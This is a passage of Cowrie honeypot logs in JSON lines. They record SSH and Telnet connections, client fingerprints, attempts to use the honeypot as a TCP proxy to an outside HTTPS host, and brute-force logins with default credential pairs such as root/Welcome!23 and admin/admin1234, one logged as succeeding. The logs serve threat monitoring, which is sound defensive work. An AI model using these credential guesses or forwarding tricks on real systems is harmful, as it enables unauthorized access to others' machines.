5\\x9b\\x9cC\\x0f\\xe0\\t\\x00\\xa8\\xc9\\xfe\\xeex\\xc0\\xbc\\xc8I\\xe7\\x05(.E\\xcc\\xc6\\xab\\x11m6W}\\xc5~\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\"\\xc0\\xc7\\xeb\\x92\\x9a\\xa2u\\xfd\\x97\\x13\\x10\\x9c\\x04}_\\xa9\\x8al\"k\\xac\\x1a\\xd0\\xca\\x86\\x1e\\x84\\x00\\xd6\\x82\\x06 \\xb5Q:`\\x93\\x0e\\xa7\\xbdH\\x98is\\x8e5%\\x03o\\xffY3\\xcd[\\x17u\\x14W\\xff\\xb6\\x99.5\\xf3\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 5\\x9b\\x9cC\\x0f\\xe0\\t\\x00\\xa8\\xc9\\xfe\\xeex\\xc0\\xbc\\xc8I\\xe7\\x05(.E\\xcc\\xc6\\xab\\x11m6W}\\xc5~\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:48.879420Z","src_ip":"63.141.242.2","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:48.982803Z","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:49.016791Z","src_ip":"63.141.242.2","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x030Q\\xab/\\x89*\\xc49\\x1d\\xbc\\x803\\xefq\\xff\\x06[\\\\\\xe3H\\x02\\xc0D\\xba(0\\xe05Xo\\xae\\xde \\x0f\\xd42\\x81}\\xde\\x1dY\\xa332\\'\\x16\\xa8w\\xb0\"\\x818\\x9d!\\xa9m!I\\xab\\xa6s:\\x8a\\x9a\\x8c\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 <\\xfc\\xdc\\x92\\xd5\\x8d\\xe7\\x11\\xe0|\\xa4\\x8e\\xa0\\xf6Ca\\x12w\\xc8\\x8ef\\xcc\\'\\x8b\\xf0\\xc2\\x8fM6\\x02Rn\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x030Q\\xab/\\x89*\\xc49\\x1d\\xbc\\x803\\xefq\\xff\\x06[\\\\\\xe3H\\x02\\xc0D\\xba(0\\xe05Xo\\xae\\xde \\x0f\\xd42\\x81}\\xde\\x1dY\\xa332\\'\\x16\\xa8w\\xb0\"\\x818\\x9d!\\xa9m!I\\xab\\xa6s:\\x8a\\x9a\\x8c\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 <\\xfc\\xdc\\x92\\xd5\\x8d\\xe7\\x11\\xe0|\\xa4\\x8e\\xa0\\xf6Ca\\x12w\\xc8\\x8ef\\xcc\\'\\x8b\\xf0\\xc2\\x8fM6\\x02Rn\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:49.019763Z","src_ip":"63.141.242.2","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.618692874908447,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:57.913620Z","src_ip":"128.199.8.54","session":"b9b62a68c2a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"20.2","message":"Connection lost after 20.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:47:58.579564Z","src_ip":"63.141.242.2","session":"f1bb9fd0ff8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":4764,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf12f93d2a72","protocol":"ssh","message":"New connection: 49.247.37.22:4764 (159.203.135.109:22) [session: bf12f93d2a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:14.265970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:14.272713Z","src_ip":"49.247.37.22","session":"bf12f93d2a72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:14.482482Z","src_ip":"49.247.37.22","session":"bf12f93d2a72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iptv","password":"iptv123","message":"login attempt [iptv/iptv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:15.349812Z","src_ip":"49.247.37.22","session":"bf12f93d2a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:16.563347Z","src_ip":"49.247.37.22","session":"bf12f93d2a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40956,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc5f2e1d0e66","protocol":"telnet","message":"New connection: 172.81.62.90:40956 (159.203.135.109:23) [session: bc5f2e1d0e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:17.698753Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40940,"dst_ip":"159.203.135.109","dst_port":23,"session":"71319331e9de","protocol":"telnet","message":"New connection: 172.81.62.90:40940 (159.203.135.109:23) [session: 71319331e9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:19.711092Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40966,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5bcaba02f62","protocol":"telnet","message":"New connection: 172.81.62.90:40966 (159.203.135.109:23) [session: a5bcaba02f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:20.742574Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50474,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3f2d393e89b","protocol":"ssh","message":"New connection: 27.71.230.31:50474 (10.17.0.5:22) [session: f3f2d393e89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:24.736943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:24.831335Z","src_ip":"27.71.230.31","session":"f3f2d393e89b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:25.248533Z","src_ip":"27.71.230.31","session":"f3f2d393e89b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome!23","message":"login attempt [root/Welcome!23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:26.228619Z","src_ip":"27.71.230.31","session":"f3f2d393e89b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:27.472482Z","src_ip":"27.71.230.31","session":"f3f2d393e89b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":38846,"dst_ip":"159.203.135.109","dst_port":23,"session":"82f21ca0b792","protocol":"telnet","message":"New connection: 103.249.87.183:38846 (159.203.135.109:23) [session: 82f21ca0b792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:28.500412Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41078,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8566b23cc84","protocol":"telnet","message":"New connection: 172.81.62.90:41078 (159.203.135.109:23) [session: d8566b23cc84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:32.064506Z"}
{"eventid":"cowrie.session.closed","duration":34.730432748794556,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:54.441410Z","src_ip":"172.81.62.90","session":"71319331e9de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00161004066467,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:55.057342Z","src_ip":"50.65.170.8","session":"1c4a186f0124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":57510,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c66938dcdc8","protocol":"ssh","message":"New connection: 173.208.192.194:57510 (10.17.0.5:22) [session: 9c66938dcdc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:56.181541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:56.192880Z","src_ip":"173.208.192.194","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:56.363028Z","src_ip":"173.208.192.194","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.05837106704712,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:56.800815Z","src_ip":"172.81.62.90","session":"a5bcaba02f62","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:57.397892Z","src_ip":"173.208.192.194","session":"9c66938dcdc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.56305932998657,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:59.261679Z","src_ip":"172.81.62.90","session":"bc5f2e1d0e66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46936,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7360eaa9705","protocol":"telnet","message":"New connection: 128.199.8.54:46936 (159.203.135.109:23) [session: f7360eaa9705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:48:59.612256Z"}
